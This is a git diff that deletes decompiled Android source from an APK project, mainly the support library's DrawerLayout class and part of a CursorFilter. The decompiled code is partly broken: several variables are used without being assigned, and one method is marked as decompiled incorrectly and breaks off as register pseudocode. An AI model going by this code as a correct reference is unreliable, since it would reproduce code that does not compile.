cursorFilterClient; - } - - @Override // android.widget.Filter - public CharSequence convertResultToString(Object obj) { - return this.mClient.convertToString((Cursor) obj); - } - - @Override // android.widget.Filter - protected Filter.FilterResults performFiltering(CharSequence charSequence) { - Cursor runQueryOnBackgroundThread = this.mClient.runQueryOnBackgroundThread(charSequence); - Filter.FilterResults filterResults = new Filter.FilterResults(); - if (runQueryOnBackgroundThread != null) { - filterResults.count = runQueryOnBackgroundThread.getCount(); - filterResults.values = runQueryOnBackgroundThread; - } else { - filterResults.count = 0; - filterResults.values = null; - } - return filterResults; - } - - @Override // android.widget.Filter - protected void publishResults(CharSequence charSequence, Filter.FilterResults filterResults) { - Cursor cursor = this.mClient.getCursor(); - if (filterResults.values == null || filterResults.values == cursor) { - return; - } - this.mClient.changeCursor((Cursor) filterResults.values); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayout.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayout.java deleted file mode 100644 index 0a9d00b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayout.java +++ /dev/null @@ -1,1739 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.content.res.TypedArray; -import android.graphics.Canvas; -import android.graphics.Paint; -import android.graphics.Rect; -import android.graphics.drawable.ColorDrawable; -import android.graphics.drawable.Drawable; -import android.os.Parcel; -import android.os.Parcelable; -import android.os.SystemClock; -import android.support.v4.content.ContextCompat; -import android.support.v4.graphics.drawable.DrawableCompat; -import android.support.v4.os.ParcelableCompat; -import android.support.v4.os.ParcelableCompatCreatorCallbacks; -import android.support.v4.view.AbsSavedState; -import android.support.v4.view.AccessibilityDelegateCompat; -import android.support.v4.view.GravityCompat; -import android.support.v4.view.ViewCompat; -import android.support.v4.view.ViewGroupCompat; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.widget.ViewDragHelper; -import android.util.AttributeSet; -import android.view.KeyEvent; -import android.view.MotionEvent; -import android.view.View; -import android.view.ViewGroup; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class DrawerLayout extends ViewGroup implements DrawerLayoutImpl { - private static final boolean ALLOW_EDGE_LOCK = false; - private static final int DEFAULT_SCRIM_COLOR = -1728053248; - private static final int DRAWER_ELEVATION = 10; - public static final int LOCK_MODE_LOCKED_CLOSED = 1; - public static final int LOCK_MODE_LOCKED_OPEN = 2; - public static final int LOCK_MODE_UNDEFINED = 3; - public static final int LOCK_MODE_UNLOCKED = 0; - private static final int MIN_DRAWER_MARGIN = 64; - private static final int MIN_FLING_VELOCITY = 400; - private static final int PEEK_DELAY = 160; - public static final int STATE_DRAGGING = 1; - public static final int STATE_IDLE = 0; - public static final int STATE_SETTLING = 2; - private static final String TAG = "DrawerLayout"; - private static final float TOUCH_SLOP_SENSITIVITY = 1.0f; - private final ChildAccessibilityDelegate mChildAccessibilityDelegate; - private boolean mChildrenCanceledTouch; - private boolean mDisallowInterceptRequested; - private boolean mDrawStatusBarBackground; - private float mDrawerElevation; - private int mDrawerState; - private boolean mFirstLayout; - private boolean mInLayout; - private float mInitialMotionX; - private float mInitialMotionY; - private Object mLastInsets; - private final ViewDragCallback mLeftCallback; - private final ViewDragHelper mLeftDragger; - private DrawerListener mListener; - private List mListeners; - private int mLockModeEnd; - private int mLockModeLeft; - private int mLockModeRight; - private int mLockModeStart; - private int mMinDrawerMargin; - private final ArrayList mNonDrawerViews; - private final ViewDragCallback mRightCallback; - private final ViewDragHelper mRightDragger; - private int mScrimColor; - private float mScrimOpacity; - private Paint mScrimPaint; - private Drawable mShadowEnd; - private Drawable mShadowLeft; - private Drawable mShadowLeftResolved; - private Drawable mShadowRight; - private Drawable mShadowRightResolved; - private Drawable mShadowStart; - private Drawable mStatusBarBackground; - private CharSequence mTitleLeft; - private CharSequence mTitleRight; - static final int[] LAYOUT_ATTRS = {16842931}; - private static final boolean CHILDREN_DISALLOW_INTERCEPT = true; - static final boolean CAN_HIDE_DESCENDANTS = CHILDREN_DISALLOW_INTERCEPT; - private static final boolean SET_DRAWER_SHADOW_FROM_ELEVATION = CHILDREN_DISALLOW_INTERCEPT; - static final DrawerLayoutCompatImpl IMPL = new DrawerLayoutCompatImplApi21(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface DrawerLayoutCompatImpl { - void applyMarginInsets(ViewGroup.MarginLayoutParams marginLayoutParams, Object obj, int i); - - void configureApplyInsets(View view); - - void dispatchChildInsets(View view, Object obj, int i); - - Drawable getDefaultStatusBarBackground(Context context); - - int getTopInset(Object obj); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface DrawerListener { - void onDrawerClosed(View view); - - void onDrawerOpened(View view); - - void onDrawerSlide(View view, float f); - - void onDrawerStateChanged(int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class SimpleDrawerListener implements DrawerListener { - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerClosed(View view) { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerOpened(View view) { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerSlide(View view, float f) { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerStateChanged(int i) { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class DrawerLayoutCompatImplBase implements DrawerLayoutCompatImpl { - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public void applyMarginInsets(ViewGroup.MarginLayoutParams marginLayoutParams, Object obj, int i) { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public void configureApplyInsets(View view) { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public void dispatchChildInsets(View view, Object obj, int i) { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public Drawable getDefaultStatusBarBackground(Context context) { - return null; - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public int getTopInset(Object obj) { - return 0; - } - - DrawerLayoutCompatImplBase() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class DrawerLayoutCompatImplApi21 implements DrawerLayoutCompatImpl { - DrawerLayoutCompatImplApi21() { - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public void configureApplyInsets(View view) { - DrawerLayoutCompatApi21.configureApplyInsets(view); - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public void dispatchChildInsets(View view, Object obj, int i) { - DrawerLayoutCompatApi21.dispatchChildInsets(view, obj, i); - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public void applyMarginInsets(ViewGroup.MarginLayoutParams marginLayoutParams, Object obj, int i) { - DrawerLayoutCompatApi21.applyMarginInsets(marginLayoutParams, obj, i); - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public int getTopInset(Object obj) { - return DrawerLayoutCompatApi21.getTopInset(obj); - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerLayoutCompatImpl - public Drawable getDefaultStatusBarBackground(Context context) { - return DrawerLayoutCompatApi21.getDefaultStatusBarBackground(context); - } - } - - public DrawerLayout(Context context) { - this(context, null); - } - - public DrawerLayout(Context context, AttributeSet attributeSet) { - this(context, attributeSet, 0); - } - - public DrawerLayout(Context context, AttributeSet attributeSet, int i) { - super(context, attributeSet, i); - this.mChildAccessibilityDelegate = new ChildAccessibilityDelegate(); - this.mScrimColor = DEFAULT_SCRIM_COLOR; - this.mScrimPaint = new Paint(); - this.mFirstLayout = CHILDREN_DISALLOW_INTERCEPT; - this.mLockModeLeft = 3; - this.mLockModeRight = 3; - this.mLockModeStart = 3; - this.mLockModeEnd = 3; - this.mShadowStart = null; - this.mShadowEnd = null; - this.mShadowLeft = null; - this.mShadowRight = null; - setDescendantFocusability(262144); - float f = getResources().getDisplayMetrics().density; - this.mMinDrawerMargin = (int) ((64.0f * f) + 0.5f); - float f2 = 400.0f * f; - ViewDragCallback viewDragCallback = new ViewDragCallback(3); - this.mLeftCallback = viewDragCallback; - ViewDragCallback viewDragCallback2 = new ViewDragCallback(5); - this.mRightCallback = viewDragCallback2; - ViewDragHelper create = ViewDragHelper.create(this, TOUCH_SLOP_SENSITIVITY, viewDragCallback); - this.mLeftDragger = create; - create.setEdgeTrackingEnabled(1); - create.setMinVelocity(f2); - viewDragCallback.setDragger(create); - ViewDragHelper create2 = ViewDragHelper.create(this, TOUCH_SLOP_SENSITIVITY, viewDragCallback2); - this.mRightDragger = create2; - create2.setEdgeTrackingEnabled(2); - create2.setMinVelocity(f2); - viewDragCallback2.setDragger(create2); - setFocusableInTouchMode(CHILDREN_DISALLOW_INTERCEPT); - ViewCompat.setImportantForAccessibility(this, 1); - ViewCompat.setAccessibilityDelegate(this, new AccessibilityDelegate()); - ViewGroupCompat.setMotionEventSplittingEnabled(this, false); - if (ViewCompat.getFitsSystemWindows(this)) { - DrawerLayoutCompatImpl drawerLayoutCompatImpl = IMPL; - drawerLayoutCompatImpl.configureApplyInsets(this); - this.mStatusBarBackground = drawerLayoutCompatImpl.getDefaultStatusBarBackground(context); - } - this.mDrawerElevation = f * 10.0f; - this.mNonDrawerViews = new ArrayList<>(); - } - - public void setDrawerElevation(float f) { - this.mDrawerElevation = f; - for (int i = 0; i < getChildCount(); i++) { - View childAt = getChildAt(i); - if (isDrawerView(childAt)) { - ViewCompat.setElevation(childAt, this.mDrawerElevation); - } - } - } - - public float getDrawerElevation() { - if (SET_DRAWER_SHADOW_FROM_ELEVATION) { - return this.mDrawerElevation; - } - return 0.0f; - } - - @Override // android.support.v4.widget.DrawerLayoutImpl - public void setChildInsets(Object obj, boolean z) { - this.mLastInsets = obj; - this.mDrawStatusBarBackground = z; - setWillNotDraw((z || getBackground() != null) ? false : CHILDREN_DISALLOW_INTERCEPT); - requestLayout(); - } - - public void setDrawerShadow(Drawable drawable, int i) { - if (SET_DRAWER_SHADOW_FROM_ELEVATION) { - return; - } - if ((i & GravityCompat.START) == 8388611) { - this.mShadowStart = drawable; - } else if ((i & GravityCompat.END) == 8388613) { - this.mShadowEnd = drawable; - } else if ((i & 3) == 3) { - this.mShadowLeft = drawable; - } else if ((i & 5) != 5) { - return; - } else { - this.mShadowRight = drawable; - } - resolveShadowDrawables(); - invalidate(); - } - - public void setDrawerShadow(int i, int i2) { - setDrawerShadow(getResources().getDrawable(i), i2); - } - - public void setScrimColor(int i) { - this.mScrimColor = i; - invalidate(); - } - - @Deprecated - public void setDrawerListener(DrawerListener drawerListener) { - DrawerListener drawerListener2 = this.mListener; - if (drawerListener2 != null) { - removeDrawerListener(drawerListener2); - } - if (drawerListener != null) { - addDrawerListener(drawerListener); - } - this.mListener = drawerListener; - } - - public void addDrawerListener(DrawerListener drawerListener) { - if (drawerListener == null) { - return; - } - if (this.mListeners == null) { - this.mListeners = new ArrayList(); - } - this.mListeners.add(drawerListener); - } - - public void removeDrawerListener(DrawerListener drawerListener) { - List list; - if (drawerListener == null || (list = this.mListeners) == null) { - return; - } - list.remove(drawerListener); - } - - public void setDrawerLockMode(int i) { - setDrawerLockMode(i, 3); - setDrawerLockMode(i, 5); - } - - public void setDrawerLockMode(int i, int i2) { - View findDrawerWithGravity; - int absoluteGravity = GravityCompat.getAbsoluteGravity(i2, ViewCompat.getLayoutDirection(this)); - if (i2 == 3) { - this.mLockModeLeft = i; - } else if (i2 == 5) { - this.mLockModeRight = i; - } else if (i2 == 8388611) { - this.mLockModeStart = i; - } else if (i2 == 8388613) { - this.mLockModeEnd = i; - } - if (i != 0) { - (absoluteGravity == 3 ? this.mLeftDragger : this.mRightDragger).cancel(); - } - if (i != 1) { - if (i == 2 && (findDrawerWithGravity = findDrawerWithGravity(absoluteGravity)) != null) { - openDrawer(findDrawerWithGravity); - return; - } - return; - } - View findDrawerWithGravity2 = findDrawerWithGravity(absoluteGravity); - if (findDrawerWithGravity2 != null) { - closeDrawer(findDrawerWithGravity2); - } - } - - public void setDrawerLockMode(int i, View view) { - if (!isDrawerView(view)) { - throw new IllegalArgumentException("View " + view + " is not a drawer with appropriate layout_gravity"); - } - setDrawerLockMode(i, ((LayoutParams) view.getLayoutParams()).gravity); - } - - public int getDrawerLockMode(int i) { - int layoutDirection = ViewCompat.getLayoutDirection(this); - if (i == 3) { - int i2 = this.mLockModeLeft; - if (i2 != 3) { - return i2; - } - int i3 = layoutDirection == 0 ? this.mLockModeStart : this.mLockModeEnd; - if (i3 != 3) { - return i3; - } - return 0; - } else if (i == 5) { - int i4 = this.mLockModeRight; - if (i4 != 3) { - return i4; - } - int i5 = layoutDirection == 0 ? this.mLockModeEnd : this.mLockModeStart; - if (i5 != 3) { - return i5; - } - return 0; - } else if (i == 8388611) { - int i6 = this.mLockModeStart; - if (i6 != 3) { - return i6; - } - int i7 = layoutDirection == 0 ? this.mLockModeLeft : this.mLockModeRight; - if (i7 != 3) { - return i7; - } - return 0; - } else if (i != 8388613) { - return 0; - } else { - int i8 = this.mLockModeEnd; - if (i8 != 3) { - return i8; - } - int i9 = layoutDirection == 0 ? this.mLockModeRight : this.mLockModeLeft; - if (i9 != 3) { - return i9; - } - return 0; - } - } - - public int getDrawerLockMode(View view) { - if (!isDrawerView(view)) { - throw new IllegalArgumentException("View " + view + " is not a drawer"); - } - return getDrawerLockMode(((LayoutParams) view.getLayoutParams()).gravity); - } - - public void setDrawerTitle(int i, CharSequence charSequence) { - int absoluteGravity = GravityCompat.getAbsoluteGravity(i, ViewCompat.getLayoutDirection(this)); - if (absoluteGravity == 3) { - this.mTitleLeft = charSequence; - } else if (absoluteGravity == 5) { - this.mTitleRight = charSequence; - } - } - - public CharSequence getDrawerTitle(int i) { - int absoluteGravity = GravityCompat.getAbsoluteGravity(i, ViewCompat.getLayoutDirection(this)); - if (absoluteGravity == 3) { - return this.mTitleLeft; - } - if (absoluteGravity == 5) { - return this.mTitleRight; - } - return null; - } - - void updateDrawerState(int i, int i2, View view) { - int i3; - int viewDragState = this.mLeftDragger.getViewDragState(); - int viewDragState2 = this.mRightDragger.getViewDragState(); - if (viewDragState == 1 || viewDragState2 == 1) { - i3 = 1; - } else { - i3 = 2; - if (viewDragState != 2 && viewDragState2 != 2) { - i3 = 0; - } - } - if (view != null && i2 == 0) { - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if (layoutParams.onScreen == 0.0f) { - dispatchOnDrawerClosed(view); - } else if (layoutParams.onScreen == TOUCH_SLOP_SENSITIVITY) { - dispatchOnDrawerOpened(view); - } - } - if (i3 != this.mDrawerState) { - this.mDrawerState = i3; - List list = this.mListeners; - if (list != null) { - for (int size = list.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onDrawerStateChanged(i3); - } - } - } - } - - void dispatchOnDrawerClosed(View view) { - View rootView; - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if ((layoutParams.openState & 1) == 1) { - layoutParams.openState = 0; - List list = this.mListeners; - if (list != null) { - for (int size = list.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onDrawerClosed(view); - } - } - updateChildrenImportantForAccessibility(view, false); - if (!hasWindowFocus() || (rootView = getRootView()) == null) { - return; - } - rootView.sendAccessibilityEvent(32); - } - } - - void dispatchOnDrawerOpened(View view) { - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if ((layoutParams.openState & 1) == 0) { - layoutParams.openState = 1; - List list = this.mListeners; - if (list != null) { - for (int size = list.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onDrawerOpened(view); - } - } - updateChildrenImportantForAccessibility(view, CHILDREN_DISALLOW_INTERCEPT); - if (hasWindowFocus()) { - sendAccessibilityEvent(32); - } - view.requestFocus(); - } - } - - private void updateChildrenImportantForAccessibility(View view, boolean z) { - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = getChildAt(i); - if ((!z && !isDrawerView(childAt)) || (z && childAt == view)) { - ViewCompat.setImportantForAccessibility(childAt, 1); - } else { - ViewCompat.setImportantForAccessibility(childAt, 4); - } - } - } - - void dispatchOnDrawerSlide(View view, float f) { - List list = this.mListeners; - if (list != null) { - for (int size = list.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onDrawerSlide(view, f); - } - } - } - - void setDrawerViewOffset(View view, float f) { - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if (f == layoutParams.onScreen) { - return; - } - layoutParams.onScreen = f; - dispatchOnDrawerSlide(view, f); - } - - float getDrawerViewOffset(View view) { - return ((LayoutParams) view.getLayoutParams()).onScreen; - } - - int getDrawerViewAbsoluteGravity(View view) { - return GravityCompat.getAbsoluteGravity(((LayoutParams) view.getLayoutParams()).gravity, ViewCompat.getLayoutDirection(this)); - } - - boolean checkDrawerViewAbsoluteGravity(View view, int i) { - if ((getDrawerViewAbsoluteGravity(view) & i) == i) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - View findOpenDrawer() { - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = getChildAt(i); - if ((((LayoutParams) childAt.getLayoutParams()).openState & 1) == 1) { - return childAt; - } - } - return null; - } - - void moveDrawerToOffset(View view, float f) { - float drawerViewOffset = getDrawerViewOffset(view); - float width = view.getWidth(); - int i = ((int) (width * f)) - ((int) (drawerViewOffset * width)); - if (!checkDrawerViewAbsoluteGravity(view, 3)) { - i = -i; - } - view.offsetLeftAndRight(i); - setDrawerViewOffset(view, f); - } - - View findDrawerWithGravity(int i) { - int absoluteGravity = GravityCompat.getAbsoluteGravity(i, ViewCompat.getLayoutDirection(this)) & 7; - int childCount = getChildCount(); - for (int i2 = 0; i2 < childCount; i2++) { - View childAt = getChildAt(i2); - if ((getDrawerViewAbsoluteGravity(childAt) & 7) == absoluteGravity) { - return childAt; - } - } - return null; - } - - static String gravityToString(int i) { - if ((i & 3) == 3) { - return "LEFT"; - } - if ((i & 5) == 5) { - return "RIGHT"; - } - return Integer.toHexString(i); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onDetachedFromWindow() { - super.onDetachedFromWindow(); - this.mFirstLayout = CHILDREN_DISALLOW_INTERCEPT; - } - - @Override // android.view.ViewGroup, android.view.View - protected void onAttachedToWindow() { - super.onAttachedToWindow(); - this.mFirstLayout = CHILDREN_DISALLOW_INTERCEPT; - } - - @Override // android.view.View - protected void onMeasure(int i, int i2) { - int drawerViewAbsoluteGravity; - int mode = View.MeasureSpec.getMode(i); - int mode2 = View.MeasureSpec.getMode(i2); - int size = View.MeasureSpec.getSize(i); - int size2 = View.MeasureSpec.getSize(i2); - int i3 = 1073741824; - if (mode != 1073741824 || mode2 != 1073741824) { - if (!isInEditMode()) { - throw new IllegalArgumentException("DrawerLayout must be measured with MeasureSpec.EXACTLY."); - } - if (mode != Integer.MIN_VALUE && mode == 0) { - size = 300; - } - if (mode2 != Integer.MIN_VALUE && mode2 == 0) { - size2 = 300; - } - } - setMeasuredDimension(size, size2); - boolean z = (this.mLastInsets == null || !ViewCompat.getFitsSystemWindows(this)) ? false : CHILDREN_DISALLOW_INTERCEPT; - int layoutDirection = ViewCompat.getLayoutDirection(this); - int childCount = getChildCount(); - int i4 = 0; - boolean z2 = false; - boolean z3 = false; - while (i4 < childCount) { - View childAt = getChildAt(i4); - if (childAt.getVisibility() != 8) { - LayoutParams layoutParams = (LayoutParams) childAt.getLayoutParams(); - if (z) { - int absoluteGravity = GravityCompat.getAbsoluteGravity(layoutParams.gravity, layoutDirection); - if (ViewCompat.getFitsSystemWindows(childAt)) { - IMPL.dispatchChildInsets(childAt, this.mLastInsets, absoluteGravity); - } else { - IMPL.applyMarginInsets(layoutParams, this.mLastInsets, absoluteGravity); - } - } - if (isContentView(childAt)) { - childAt.measure(View.MeasureSpec.makeMeasureSpec((size - layoutParams.leftMargin) - layoutParams.rightMargin, i3), View.MeasureSpec.makeMeasureSpec((size2 - layoutParams.topMargin) - layoutParams.bottomMargin, i3)); - } else if (isDrawerView(childAt)) { - if (SET_DRAWER_SHADOW_FROM_ELEVATION) { - float elevation = ViewCompat.getElevation(childAt); - float f = this.mDrawerElevation; - if (elevation != f) { - ViewCompat.setElevation(childAt, f); - } - } - boolean z4 = (getDrawerViewAbsoluteGravity(childAt) & 7) == 3 ? CHILDREN_DISALLOW_INTERCEPT : false; - if ((z4 && z2) || (!z4 && z3)) { - throw new IllegalStateException("Child drawer has absolute gravity " + gravityToString(drawerViewAbsoluteGravity) + " but this DrawerLayout already has a drawer view along that edge"); - } - if (z4) { - z2 = CHILDREN_DISALLOW_INTERCEPT; - } else { - z3 = CHILDREN_DISALLOW_INTERCEPT; - } - childAt.measure(getChildMeasureSpec(i, this.mMinDrawerMargin + layoutParams.leftMargin + layoutParams.rightMargin, layoutParams.width), getChildMeasureSpec(i2, layoutParams.topMargin + layoutParams.bottomMargin, layoutParams.height)); - i4++; - i3 = 1073741824; - } else { - throw new IllegalStateException("Child " + childAt + " at index " + i4 + " does not have a valid layout_gravity - must be Gravity.LEFT, Gravity.RIGHT or Gravity.NO_GRAVITY"); - } - } - i4++; - i3 = 1073741824; - } - } - - private void resolveShadowDrawables() { - if (SET_DRAWER_SHADOW_FROM_ELEVATION) { - return; - } - this.mShadowLeftResolved = resolveLeftShadow(); - this.mShadowRightResolved = resolveRightShadow(); - } - - private Drawable resolveLeftShadow() { - int layoutDirection = ViewCompat.getLayoutDirection(this); - if (layoutDirection == 0) { - Drawable drawable = this.mShadowStart; - if (drawable != null) { - mirror(drawable, layoutDirection); - return this.mShadowStart; - } - } else { - Drawable drawable2 = this.mShadowEnd; - if (drawable2 != null) { - mirror(drawable2, layoutDirection); - return this.mShadowEnd; - } - } - return this.mShadowLeft; - } - - private Drawable resolveRightShadow() { - int layoutDirection = ViewCompat.getLayoutDirection(this); - if (layoutDirection == 0) { - Drawable drawable = this.mShadowEnd; - if (drawable != null) { - mirror(drawable, layoutDirection); - return this.mShadowEnd; - } - } else { - Drawable drawable2 = this.mShadowStart; - if (drawable2 != null) { - mirror(drawable2, layoutDirection); - return this.mShadowStart; - } - } - return this.mShadowRight; - } - - private boolean mirror(Drawable drawable, int i) { - if (drawable == null || !DrawableCompat.isAutoMirrored(drawable)) { - return false; - } - DrawableCompat.setLayoutDirection(drawable, i); - return CHILDREN_DISALLOW_INTERCEPT; - } - - @Override // android.view.ViewGroup, android.view.View - protected void onLayout(boolean z, int i, int i2, int i3, int i4) { - int i5; - float f; - int i6; - boolean z2 = CHILDREN_DISALLOW_INTERCEPT; - this.mInLayout = CHILDREN_DISALLOW_INTERCEPT; - int i7 = i3 - i; - int childCount = getChildCount(); - int i8 = 0; - while (i8 < childCount) { - View childAt = getChildAt(i8); - if (childAt.getVisibility() != 8) { - LayoutParams layoutParams = (LayoutParams) childAt.getLayoutParams(); - if (isContentView(childAt)) { - childAt.layout(layoutParams.leftMargin, layoutParams.topMargin, layoutParams.leftMargin + childAt.getMeasuredWidth(), layoutParams.topMargin + childAt.getMeasuredHeight()); - } else { - int measuredWidth = childAt.getMeasuredWidth(); - int measuredHeight = childAt.getMeasuredHeight(); - if (checkDrawerViewAbsoluteGravity(childAt, 3)) { - float f2 = measuredWidth; - i6 = (-measuredWidth) + ((int) (layoutParams.onScreen * f2)); - f = (measuredWidth + i6) / f2; - } else { - float f3 = measuredWidth; - f = (i7 - i5) / f3; - i6 = i7 - ((int) (layoutParams.onScreen * f3)); - } - boolean z3 = f != layoutParams.onScreen ? z2 : false; - int i9 = layoutParams.gravity & 112; - if (i9 == 16) { - int i10 = i4 - i2; - int i11 = (i10 - measuredHeight) / 2; - if (i11 < layoutParams.topMargin) { - i11 = layoutParams.topMargin; - } else if (i11 + measuredHeight > i10 - layoutParams.bottomMargin) { - i11 = (i10 - layoutParams.bottomMargin) - measuredHeight; - } - childAt.layout(i6, i11, measuredWidth + i6, measuredHeight + i11); - } else if (i9 != 80) { - childAt.layout(i6, layoutParams.topMargin, measuredWidth + i6, layoutParams.topMargin + measuredHeight); - } else { - int i12 = i4 - i2; - childAt.layout(i6, (i12 - layoutParams.bottomMargin) - childAt.getMeasuredHeight(), measuredWidth + i6, i12 - layoutParams.bottomMargin); - } - if (z3) { - setDrawerViewOffset(childAt, f); - } - int i13 = layoutParams.onScreen > 0.0f ? 0 : 4; - if (childAt.getVisibility() != i13) { - childAt.setVisibility(i13); - } - } - } - i8++; - z2 = CHILDREN_DISALLOW_INTERCEPT; - } - this.mInLayout = false; - this.mFirstLayout = false; - } - - @Override // android.view.View, android.view.ViewParent - public void requestLayout() { - if (this.mInLayout) { - return; - } - super.requestLayout(); - } - - @Override // android.view.View - public void computeScroll() { - int childCount = getChildCount(); - float f = 0.0f; - for (int i = 0; i < childCount; i++) { - f = Math.max(f, ((LayoutParams) getChildAt(i).getLayoutParams()).onScreen); - } - this.mScrimOpacity = f; - if (this.mLeftDragger.continueSettling(CHILDREN_DISALLOW_INTERCEPT) || this.mRightDragger.continueSettling(CHILDREN_DISALLOW_INTERCEPT)) { - ViewCompat.postInvalidateOnAnimation(this); - } - } - - private static boolean hasOpaqueBackground(View view) { - Drawable background = view.getBackground(); - if (background == null || background.getOpacity() != -1) { - return false; - } - return CHILDREN_DISALLOW_INTERCEPT; - } - - public void setStatusBarBackground(Drawable drawable) { - this.mStatusBarBackground = drawable; - invalidate(); - } - - public Drawable getStatusBarBackgroundDrawable() { - return this.mStatusBarBackground; - } - - public void setStatusBarBackground(int i) { - this.mStatusBarBackground = i != 0 ? ContextCompat.getDrawable(getContext(), i) : null; - invalidate(); - } - - public void setStatusBarBackgroundColor(int i) { - this.mStatusBarBackground = new ColorDrawable(i); - invalidate(); - } - - @Override // android.view.View - public void onRtlPropertiesChanged(int i) { - resolveShadowDrawables(); - } - - @Override // android.view.View - public void onDraw(Canvas canvas) { - int topInset; - super.onDraw(canvas); - if (!this.mDrawStatusBarBackground || this.mStatusBarBackground == null || (topInset = IMPL.getTopInset(this.mLastInsets)) <= 0) { - return; - } - this.mStatusBarBackground.setBounds(0, 0, getWidth(), topInset); - this.mStatusBarBackground.draw(canvas); - } - - @Override // android.view.ViewGroup - protected boolean drawChild(Canvas canvas, View view, long j) { - int i; - int height = getHeight(); - boolean isContentView = isContentView(view); - int width = getWidth(); - int save = canvas.save(); - int i2 = 0; - if (isContentView) { - int childCount = getChildCount(); - int i3 = 0; - for (int i4 = 0; i4 < childCount; i4++) { - View childAt = getChildAt(i4); - if (childAt != view && childAt.getVisibility() == 0 && hasOpaqueBackground(childAt) && isDrawerView(childAt) && childAt.getHeight() >= height) { - if (checkDrawerViewAbsoluteGravity(childAt, 3)) { - int right = childAt.getRight(); - if (right > i3) { - i3 = right; - } - } else { - int left = childAt.getLeft(); - if (left < width) { - width = left; - } - } - } - } - canvas.clipRect(i3, 0, width, getHeight()); - i2 = i3; - } - boolean drawChild = super.drawChild(canvas, view, j); - canvas.restoreToCount(save); - float f = this.mScrimOpacity; - if (f > 0.0f && isContentView) { - this.mScrimPaint.setColor((this.mScrimColor & ViewCompat.MEASURED_SIZE_MASK) | (((int) ((((-16777216) & i) >>> 24) * f)) << 24)); - canvas.drawRect(i2, 0.0f, width, getHeight(), this.mScrimPaint); - } else if (this.mShadowLeftResolved != null && checkDrawerViewAbsoluteGravity(view, 3)) { - int intrinsicWidth = this.mShadowLeftResolved.getIntrinsicWidth(); - int right2 = view.getRight(); - float max = Math.max(0.0f, Math.min(right2 / this.mLeftDragger.getEdgeSize(), (float) TOUCH_SLOP_SENSITIVITY)); - this.mShadowLeftResolved.setBounds(right2, view.getTop(), intrinsicWidth + right2, view.getBottom()); - this.mShadowLeftResolved.setAlpha((int) (max * 255.0f)); - this.mShadowLeftResolved.draw(canvas); - } else if (this.mShadowRightResolved != null && checkDrawerViewAbsoluteGravity(view, 5)) { - int intrinsicWidth2 = this.mShadowRightResolved.getIntrinsicWidth(); - int left2 = view.getLeft(); - float max2 = Math.max(0.0f, Math.min((getWidth() - left2) / this.mRightDragger.getEdgeSize(), (float) TOUCH_SLOP_SENSITIVITY)); - this.mShadowRightResolved.setBounds(left2 - intrinsicWidth2, view.getTop(), left2, view.getBottom()); - this.mShadowRightResolved.setAlpha((int) (max2 * 255.0f)); - this.mShadowRightResolved.draw(canvas); - } - return drawChild; - } - - boolean isContentView(View view) { - if (((LayoutParams) view.getLayoutParams()).gravity == 0) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - boolean isDrawerView(View view) { - int absoluteGravity = GravityCompat.getAbsoluteGravity(((LayoutParams) view.getLayoutParams()).gravity, ViewCompat.getLayoutDirection(view)); - if ((absoluteGravity & 3) == 0 && (absoluteGravity & 5) == 0) { - return false; - } - return CHILDREN_DISALLOW_INTERCEPT; - } - - /* JADX WARN: Code restructure failed: missing block: B:7:0x001b, code lost: - if (r0 != 3) goto L7; - */ - @Override // android.view.ViewGroup - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean onInterceptTouchEvent(android.view.MotionEvent r7) { - /* - r6 = this; - int r0 = android.support.v4.view.MotionEventCompat.getActionMasked(r7) - android.support.v4.widget.ViewDragHelper r1 = r6.mLeftDragger - boolean r1 = r1.shouldInterceptTouchEvent(r7) - android.support.v4.widget.ViewDragHelper r2 = r6.mRightDragger - boolean r2 = r2.shouldInterceptTouchEvent(r7) - r1 = r1 | r2 - r2 = 1 - r3 = 0 - if (r0 == 0) goto L3a - if (r0 == r2) goto L31 - r7 = 2 - r4 = 3 - if (r0 == r7) goto L1e - if (r0 == r4) goto L31 